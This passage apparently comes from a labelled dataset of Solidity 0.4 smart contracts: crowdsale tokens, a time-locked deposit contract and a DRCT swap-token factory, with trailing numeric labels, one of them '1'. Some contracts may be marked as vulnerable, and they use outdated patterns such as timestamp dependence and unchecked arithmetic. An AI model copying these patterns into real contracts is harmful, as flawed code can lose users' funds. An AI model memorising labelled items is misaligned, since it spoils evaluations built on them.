function currentWindow() public constant returns (uint) {
return windowAt(block.timestamp);
}
function windowAt(uint timestamp) public constant returns (uint) {
return timestamp < startTime
? 0
: timestamp.sub(startTime).div(periodLength * 1 days) + 1;
}
function topUpBalance() public payable {
emit LogFeeTopUp(msg.value);
}
function evacuateToVault() public onlyOwner{
vaultAddress.transfer(address(this).balance);
emit LogFeeEvacuation(address(this).balance);
}
function enableBurning(bool _burningEnabled) public onlyOwner{
tokenContract.enableBurning(_burningEnabled);
}
function claimTokens(address _token) public onlyOwner {
NEC token = NEC(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
emit ClaimedTokens(_token, owner, balance);
}
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
event LogFeeTopUp(uint _amount);
event LogFeeEvacuation(uint _amount);
event LogContributions (address _user, uint _amount, bool _maker);
event LogClaim (address _user, uint _amount);
event UpgradedController (address newAddress);
} | 0 | 1,547 |
pragma solidity ^0.4.24;
contract hodlEthereum {
event Hodl(address indexed hodler, uint indexed amount);
event Party(address indexed hodler, uint indexed amount);
mapping (address => uint) public hodlers;
uint constant partyTime = 1535760000;
function hodl() payable public {
hodlers[msg.sender] += msg.value;
emit Hodl(msg.sender, msg.value);
}
function party() public {
require (block.timestamp > partyTime && hodlers[msg.sender] > 0);
uint value = hodlers[msg.sender];
hodlers[msg.sender] = 0;
msg.sender.transfer(value);
emit Party(msg.sender, value);
}
} | 0 | 2,012 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract CryptualProjectToken is StandardToken, Ownable {
using SafeMath for uint256;
string public constant name = "Cryptual Project Token";
string public constant symbol = "CPT";
uint8 public constant decimals = 0;
uint256 public constant INITIAL_SUPPLY = 283000000;
address public wallet;
uint256 public constant PRESALE_OPENING_TIME = 1533726000;
uint256 public constant PRESALE_CLOSING_TIME = 1534291200;
uint256 public constant PRESALE_RATE = 150000;
uint256 public constant PRESALE_WEI_CAP = 500 ether;
uint256 public constant PRESALE_WEI_GOAL = 50 ether;
uint256 public constant CROWDSALE_OPENING_TIME = 1534935600;
uint256 public constant CROWDSALE_CLOSING_TIME = 1540166400;
uint256 public constant CROWDSALE_WEI_CAP = 5000 ether;
uint256 public constant COMBINED_WEI_GOAL = 750 ether;
uint256[] public crowdsaleWeiAvailableLevels = [1000 ether, 1500 ether, 2000 ether];
uint256[] public crowdsaleRates = [135000, 120000, 100000];
uint256[] public crowdsaleMinElapsedTimeLevels = [0, 12 * 3600, 18 * 3600, 21 * 3600, 22 * 3600];
uint256[] public crowdsaleUserCaps = [1 ether, 2 ether, 4 ether, 8 ether, CROWDSALE_WEI_CAP];
mapping(address => uint256) public crowdsaleContributions;
uint256 public presaleWeiRaised;
uint256 public crowdsaleWeiRaised;
constructor(
address _wallet
) public {
require(_wallet != address(0));
wallet = _wallet;
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
require(_beneficiary != address(0));
require(weiAmount != 0);
bool isPresale = block.timestamp >= PRESALE_OPENING_TIME && block.timestamp <= PRESALE_CLOSING_TIME && presaleWeiRaised.add(weiAmount) <= PRESALE_WEI_CAP;
bool isCrowdsale = block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME && presaleGoalReached() && crowdsaleWeiRaised.add(weiAmount) <= CROWDSALE_WEI_CAP;
uint256 tokens;
if (isCrowdsale) {
require(crowdsaleContributions[_beneficiary].add(weiAmount) <= getCrowdsaleUserCap());
tokens = _getCrowdsaleTokenAmount(weiAmount);
require(tokens != 0);
crowdsaleWeiRaised = crowdsaleWeiRaised.add(weiAmount);
} else if (isPresale) {
require(whitelist[_beneficiary]);
tokens = weiAmount.mul(PRESALE_RATE).div(1 ether);
require(tokens != 0);
presaleWeiRaised = presaleWeiRaised.add(weiAmount);
} else {
revert();
}
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
if (isCrowdsale) {
crowdsaleContributions[_beneficiary] = crowdsaleContributions[_beneficiary].add(weiAmount);
crowdsaleDeposited[_beneficiary] = crowdsaleDeposited[_beneficiary].add(msg.value);
} else if (isPresale) {
presaleDeposited[_beneficiary] = presaleDeposited[_beneficiary].add(msg.value);
}
}
function getCrowdsaleUserCap() public view returns (uint256) {
require(block.timestamp >= CROWDSALE_OPENING_TIME && block.timestamp <= CROWDSALE_CLOSING_TIME);
uint256 elapsedTime = block.timestamp.sub(CROWDSALE_OPENING_TIME);
uint256 currentMinElapsedTime = 0;
uint256 currentCap = 0;
for (uint i = 0; i < crowdsaleUserCaps.length; i++) {
if (elapsedTime < crowdsaleMinElapsedTimeLevels[i]) continue;
if (crowdsaleMinElapsedTimeLevels[i] < currentMinElapsedTime) continue;
currentCap = crowdsaleUserCaps[i];
}
return currentCap;
}
function _getCrowdsaleTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 uncountedWeiRaised = crowdsaleWeiRaised;
uint256 uncountedWeiAmount = _weiAmount;
uint256 tokenAmount = 0;
for (uint i = 0; i < crowdsaleWeiAvailableLevels.length; i++) {
uint256 weiAvailable = crowdsaleWeiAvailableLevels[i];
uint256 rate = crowdsaleRates[i];
if (uncountedWeiRaised < weiAvailable) {
if (uncountedWeiRaised > 0) {
weiAvailable = weiAvailable.sub(uncountedWeiRaised);
uncountedWeiRaised = 0;
}
if (uncountedWeiAmount <= weiAvailable) {
tokenAmount = tokenAmount.add(uncountedWeiAmount.mul(rate));
break;
} else {
uncountedWeiAmount = uncountedWeiAmount.sub(weiAvailable);
tokenAmount = tokenAmount.add(weiAvailable.mul(rate));
}
} else {
uncountedWeiRaised = uncountedWeiRaised.sub(weiAvailable);
}
}
return tokenAmount.div(1 ether);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
totalSupply_ = totalSupply_.add(_tokenAmount);
balances[_beneficiary] = balances[_beneficiary].add(_tokenAmount);
emit Transfer(0x0, _beneficiary, _tokenAmount);
}
mapping(address => bool) public whitelist;
function addToPresaleWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToPresaleWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromPresaleWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
bool public isPresaleFinalized = false;
bool public isCrowdsaleFinalized = false;
mapping (address => uint256) public presaleDeposited;
mapping (address => uint256) public crowdsaleDeposited;
event PresaleFinalized();
event CrowdsaleFinalized();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function finalizePresale() external {
require(!isPresaleFinalized);
require(block.timestamp > PRESALE_CLOSING_TIME);
if (presaleGoalReached()) {
wallet.transfer(address(this).balance > presaleWeiRaised ? presaleWeiRaised : address(this).balance);
} else {
emit RefundsEnabled();
}
emit PresaleFinalized();
isPresaleFinalized = true;
}
function finalizeCrowdsale() external {
require(isPresaleFinalized && presaleGoalReached());
require(!isCrowdsaleFinalized);
require(block.timestamp > CROWDSALE_CLOSING_TIME);
if (combinedGoalReached()) {
wallet.transfer(address(this).balance);
} else {
emit RefundsEnabled();
}
emit CrowdsaleFinalized();
isCrowdsaleFinalized = true;
}
function claimRefund() external {
uint256 depositedValue = 0;
if (isCrowdsaleFinalized && !combinedGoalReached()) {
require(crowdsaleDeposited[msg.sender] > 0);
depositedValue = crowdsaleDeposited[msg.sender];
crowdsaleDeposited[msg.sender] = 0;
} else if (isPresaleFinalized && !presaleGoalReached()) {
require(presaleDeposited[msg.sender] > 0);
depositedValue = presaleDeposited[msg.sender];
presaleDeposited[msg.sender] = 0;
}
require(depositedValue > 0);
msg.sender.transfer(depositedValue);
emit Refunded(msg.sender, depositedValue);
}
function presaleGoalReached() public view returns (bool) {
return presaleWeiRaised >= PRESALE_WEI_GOAL;
}
function combinedGoalReached() public view returns (bool) {
return presaleWeiRaised.add(crowdsaleWeiRaised) >= COMBINED_WEI_GOAL;
}
} | 0 | 588 |
pragma solidity ^0.4.24;
interface TokenToTokenSwap_Interface {
function createSwap(uint _amount, address _senderAdd) external;
}
interface Deployer_Interface {
function newContract(address _party, address user_contract, uint _start_date) external payable returns (address);
}
interface Factory_Interface {
function createToken(uint _supply, address _party, uint _start_date) external returns (address,address, uint);
function payToken(address _party, address _token_add) external;
function deployContract(uint _start_date) external payable returns (address);
function getBase() external view returns(address);
function getVariables() external view returns (address, uint, uint, address,uint);
function isWhitelisted(address _member) external view returns (bool);
}
library DRCTLibrary{
using SafeMath for uint256;
struct Balance {
address owner;
uint amount;
}
struct TokenStorage{
address factory_contract;
uint total_supply;
mapping(address => Balance[]) swap_balances;
mapping(address => mapping(address => uint)) swap_balances_index;
mapping(address => address[]) user_swaps;
mapping(address => mapping(address => uint)) user_swaps_index;
mapping(address => uint) user_total_balances;
mapping(address => mapping(address => uint)) allowed;
}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event CreateToken(address _from, uint _value);
function startToken(TokenStorage storage self,address _factory) public {
self.factory_contract = _factory;
}
function isWhitelisted(TokenStorage storage self,address _member) internal view returns(bool){
Factory_Interface _factory = Factory_Interface(self.factory_contract);
return _factory.isWhitelisted(_member);
}
function getFactoryAddress(TokenStorage storage self) external view returns(address){
return self.factory_contract;
}
function createToken(TokenStorage storage self,uint _supply, address _owner, address _swap) public{
require(msg.sender == self.factory_contract);
self.total_supply = self.total_supply.add(_supply);
self.user_total_balances[_owner] = self.user_total_balances[_owner].add(_supply);
if (self.user_swaps[_owner].length == 0)
self.user_swaps[_owner].push(address(0x0));
self.user_swaps_index[_owner][_swap] = self.user_swaps[_owner].length;
self.user_swaps[_owner].push(_swap);
self.swap_balances[_swap].push(Balance({
owner: 0,
amount: 0
}));
self.swap_balances_index[_swap][_owner] = 1;
self.swap_balances[_swap].push(Balance({
owner: _owner,
amount: _supply
}));
emit CreateToken(_owner,_supply);
}
function pay(TokenStorage storage self,address _party, address _swap) public{
require(msg.sender == self.factory_contract);
uint party_balance_index = self.swap_balances_index[_swap][_party];
require(party_balance_index > 0);
uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;
self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);
self.total_supply = self.total_supply.sub(party_swap_balance);
self.swap_balances[_swap][party_balance_index].amount = 0;
}
function balanceOf(TokenStorage storage self,address _owner) public constant returns (uint balance) {
return self.user_total_balances[_owner];
}
function totalSupply(TokenStorage storage self) public constant returns (uint _total_supply) {
return self.total_supply;
}
function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {
uint last_address_index = self.swap_balances[_swap].length.sub(1);
address last_address = self.swap_balances[_swap][last_address_index].owner;
if (last_address != _remove) {
uint remove_index = self.swap_balances_index[_swap][_remove];
self.swap_balances_index[_swap][last_address] = remove_index;
self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];
}
delete self.swap_balances_index[_swap][_remove];
self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);
}
function transferHelper(TokenStorage storage self,address _from, address _to, uint _amount) internal {
address[] memory from_swaps = self.user_swaps[_from];
for (uint i = from_swaps.length.sub(1); i > 0; i--) {
uint from_swap_user_index = self.swap_balances_index[from_swaps[i]][_from];
Balance memory from_user_bal = self.swap_balances[from_swaps[i]][from_swap_user_index];
if (_amount >= from_user_bal.amount) {
_amount -= from_user_bal.amount;
self.user_swaps[_from].length = self.user_swaps[_from].length.sub(1);
delete self.user_swaps_index[_from][from_swaps[i]];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
uint to_balance_index = self.swap_balances_index[from_swaps[i]][_to];
assert(to_balance_index != 0);
self.swap_balances[from_swaps[i]][to_balance_index].amount = self.swap_balances[from_swaps[i]][to_balance_index].amount.add(from_user_bal.amount);
removeFromSwapBalances(self,_from, from_swaps[i]);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances[from_swaps[i]][from_swap_user_index].owner = _to;
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances_index[from_swaps[i]][_from];
delete self.swap_balances_index[from_swaps[i]][_from];
}
if (_amount == 0)
break;
} else {
uint to_swap_balance_index = self.swap_balances_index[from_swaps[i]][_to];
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
self.swap_balances[from_swaps[i]][to_swap_balance_index].amount = self.swap_balances[from_swaps[i]][to_swap_balance_index].amount.add(_amount);
} else {
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
self.user_swaps[_to].push(from_swaps[i]);
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances[from_swaps[i]].length;
self.swap_balances[from_swaps[i]].push(Balance({
owner: _to,
amount: _amount
}));
}
self.swap_balances[from_swaps[i]][from_swap_user_index].amount = self.swap_balances[from_swaps[i]][from_swap_user_index].amount.sub(_amount);
break;
}
}
}
function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[msg.sender];
if (
_to == msg.sender ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount
) return false;
transferHelper(self,msg.sender, _to, _amount);
self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[_from];
uint sender_allowed = self.allowed[_from][msg.sender];
if (
_to == _from ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount ||
sender_allowed < _amount
) return false;
transferHelper(self,_from, _to, _amount);
self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _amount) public returns (bool) {
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function addressCount(TokenStorage storage self, address _swap) public constant returns (uint) {
return self.swap_balances[_swap].length;
}
function getBalanceAndHolderByIndex(TokenStorage storage self, uint _ind, address _swap) public constant returns (uint, address) {
return (self.swap_balances[_swap][_ind].amount, self.swap_balances[_swap][_ind].owner);
}
function getIndexByAddress(TokenStorage storage self, address _owner, address _swap) public constant returns (uint) {
return self.swap_balances_index[_swap][_owner];
}
function allowance(TokenStorage storage self, address _owner, address _spender) public constant returns (uint) {
return self.allowed[_owner][_spender];
}
}
contract DRCT_Token {
using DRCTLibrary for DRCTLibrary.TokenStorage;
DRCTLibrary.TokenStorage public drct;
constructor() public {
drct.startToken(msg.sender);
}
function createToken(uint _supply, address _owner, address _swap) public{
drct.createToken(_supply,_owner,_swap);
}
function getFactoryAddress() external view returns(address){
return drct.getFactoryAddress();
}
function pay(address _party, address _swap) public{
drct.pay(_party,_swap);
}
function balanceOf(address _owner) public constant returns (uint balance) {
return drct.balanceOf(_owner);
}
function totalSupply() public constant returns (uint _total_supply) {
return drct.totalSupply();
}
function transfer(address _to, uint _amount) public returns (bool) {
return drct.transfer(_to,_amount);
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
return drct.transferFrom(_from,_to,_amount);
}
function approve(address _spender, uint _amount) public returns (bool) {
return drct.approve(_spender,_amount);
}
function addressCount(address _swap) public constant returns (uint) {
return drct.addressCount(_swap);
}
function getBalanceAndHolderByIndex(uint _ind, address _swap) public constant returns (uint, address) {
return drct.getBalanceAndHolderByIndex(_ind,_swap);
}
function getIndexByAddress(address _owner, address _swap) public constant returns (uint) {
return drct.getIndexByAddress(_owner,_swap);
}
function allowance(address _owner, address _spender) public constant returns (uint) {
return drct.allowance(_owner,_spender);
}
}
interface Wrapped_Ether_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
function withdraw(uint _value) external;
function createToken() external;
}
interface Membership_Interface {
function getMembershipType(address _member) external constant returns(uint);
}
contract Factory {
using SafeMath for uint256;
address public owner;
address public oracle_address;
address public user_contract;
address internal deployer_address;
Deployer_Interface internal deployer;
address public token;
uint public fee;
uint public swapFee;
uint public duration;
uint public multiplier;
uint public token_ratio;
address[] public contracts;
uint[] public startDates;
address public memberContract;
mapping(uint => bool) whitelistedTypes;
mapping(address => uint) public created_contracts;
mapping(address => uint) public token_dates;
mapping(uint => address) public long_tokens;
mapping(uint => address) public short_tokens;
mapping(address => uint) public token_type;
event ContractCreation(address _sender, address _created);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function init(address _owner) public{
require(owner == address(0));
owner = _owner;
}
function setMemberContract(address _memberContract) public onlyOwner() {
memberContract = _memberContract;
}
function setWhitelistedMemberTypes(uint[] _memberTypes) public onlyOwner(){
whitelistedTypes[0] = false;
for(uint i = 0; i<_memberTypes.length;i++){
whitelistedTypes[_memberTypes[i]] = true;
}
}
function isWhitelisted(address _member) public view returns (bool){
Membership_Interface Member = Membership_Interface(memberContract);
return whitelistedTypes[Member.getMembershipType(_member)];
}
function getTokens(uint _date) public view returns(address, address){
return(long_tokens[_date],short_tokens[_date]);
}
function getTokenType(address _token) public view returns(uint){
return(token_type[_token]);
}
function setFee(uint _fee) public onlyOwner() {
fee = _fee;
}
function setSwapFee(uint _swapFee) public onlyOwner() {
swapFee = _swapFee;
}
function setDeployer(address _deployer) public onlyOwner() {
deployer_address = _deployer;
deployer = Deployer_Interface(_deployer);
}
function setUserContract(address _userContract) public onlyOwner() {
user_contract = _userContract;
}
function setVariables(uint _token_ratio, uint _duration, uint _multiplier, uint _swapFee) public onlyOwner() {
require(_swapFee < 10000);
token_ratio = _token_ratio;
duration = _duration;
multiplier = _multiplier;
swapFee = _swapFee;
}
function setBaseToken(address _token) public onlyOwner() {
token = _token;
}
function deployContract(uint _start_date) public payable returns (address) {
require(msg.value >= fee && isWhitelisted(msg.sender));
require(_start_date % 86400 == 0);
address new_contract = deployer.newContract(msg.sender, user_contract, _start_date);
contracts.push(new_contract);
created_contracts[new_contract] = _start_date;
emit ContractCreation(msg.sender,new_contract);
return new_contract;
}
function deployTokenContract(uint _start_date) public{
address _token;
require(_start_date % 86400 == 0);
require(long_tokens[_start_date] == address(0) && short_tokens[_start_date] == address(0));
_token = new DRCT_Token();
token_dates[_token] = _start_date;
long_tokens[_start_date] = _token;
token_type[_token]=2;
_token = new DRCT_Token();
token_type[_token]=1;
short_tokens[_start_date] = _token;
token_dates[_token] = _start_date;
startDates.push(_start_date);
}
function createToken(uint _supply, address _party, uint _start_date) public returns (address, address, uint) {
require(created_contracts[msg.sender] == _start_date);
address ltoken = long_tokens[_start_date];
address stoken = short_tokens[_start_date];
require(ltoken != address(0) && stoken != address(0));
DRCT_Token drct_interface = DRCT_Token(ltoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
drct_interface = DRCT_Token(stoken);
drct_interface.createToken(_supply.div(token_ratio), _party,msg.sender);
return (ltoken, stoken, token_ratio);
}
function setOracleAddress(address _new_oracle_address) public onlyOwner() {
oracle_address = _new_oracle_address;
}
function setOwner(address _new_owner) public onlyOwner() {
owner = _new_owner;
}
function withdrawFees() public onlyOwner(){
Wrapped_Ether_Interface token_interface = Wrapped_Ether_Interface(token);
uint _val = token_interface.balanceOf(address(this));
if(_val > 0){
token_interface.withdraw(_val);
}
owner.transfer(address(this).balance);
}
function() public payable {
}
function getVariables() public view returns (address, uint, uint, address,uint){
return (oracle_address,duration, multiplier, token,swapFee);
}
function payToken(address _party, address _token_add) public {
require(created_contracts[msg.sender] > 0);
DRCT_Token drct_interface = DRCT_Token(_token_add);
drct_interface.pay(_party, msg.sender);
}
function getCount() public constant returns(uint) {
return contracts.length;
}
function getDateCount() public constant returns(uint) {
return startDates.length;
}
}
contract Wrapped_Ether {
using SafeMath for uint256;
string public name = "Wrapped Ether";
uint public total_supply;
mapping(address => uint) internal balances;
mapping(address => mapping (address => uint)) internal allowed;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
event StateChanged(bool _success, string _message);
function createToken() public payable {
require(msg.value > 0);
balances[msg.sender] = balances[msg.sender].add(msg.value);
total_supply = total_supply.add(msg.value);
}
function withdraw(uint _value) public {
balances[msg.sender] = balances[msg.sender].sub(_value);
total_supply = total_supply.sub(_value);
msg.sender.transfer(_value);
}
function balanceOf(address _owner) public constant returns (uint bal) {
return balances[_owner];
}
function transfer(address _to, uint _amount) public returns (bool) {
if (balances[msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[msg.sender] = balances[msg.sender] - _amount;
balances[_to] = balances[_to] + _amount;
emit Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint _amount) public returns (bool) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] = balances[_from] - _amount;
allowed[_from][msg.sender] = allowed[_from][msg.sender] - _amount;
balances[_to] = balances[_to] + _amount;
emit Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
function approve(address _spender, uint _amount) public returns (bool) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint) {
return allowed[_owner][_spender]; }
function totalSupply() public constant returns (uint) {
return total_supply;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract UserContract{
using SafeMath for uint256;
TokenToTokenSwap_Interface internal swap;
Wrapped_Ether internal baseToken;
Factory internal factory;
address public factory_address;
address internal owner;
constructor() public {
owner = msg.sender;
}
function Initiate(address _swapadd, uint _amount) payable public{
require(msg.value == _amount.mul(2));
swap = TokenToTokenSwap_Interface(_swapadd);
address token_address = factory.token();
baseToken = Wrapped_Ether(token_address);
baseToken.createToken.value(_amount.mul(2))();
baseToken.transfer(_swapadd,_amount.mul(2));
swap.createSwap(_amount, msg.sender);
}
function setFactory(address _factory_address) public {
require (msg.sender == owner);
factory_address = _factory_address;
factory = Factory(factory_address);
}
} | 1 | 2,403 |
pragma solidity ^0.4.24;
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract AbstractToken is Token, SafeMath {
function AbstractToken () {
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
mapping (address => uint256) accounts;
mapping (address => mapping (address => uint256)) private allowances;
}
contract UXDToken is AbstractToken {
uint256 constant MAX_TOKEN_COUNT = 10000000000 * (10**2);
address private owner;
mapping (address => bool) private frozenAccount;
uint256 tokenCount = 0;
bool frozen = false;
function UXDToken () {
owner = msg.sender;
}
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "UXD Cash";
string constant public symbol = "UXD";
uint8 constant public decimals = 2;
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
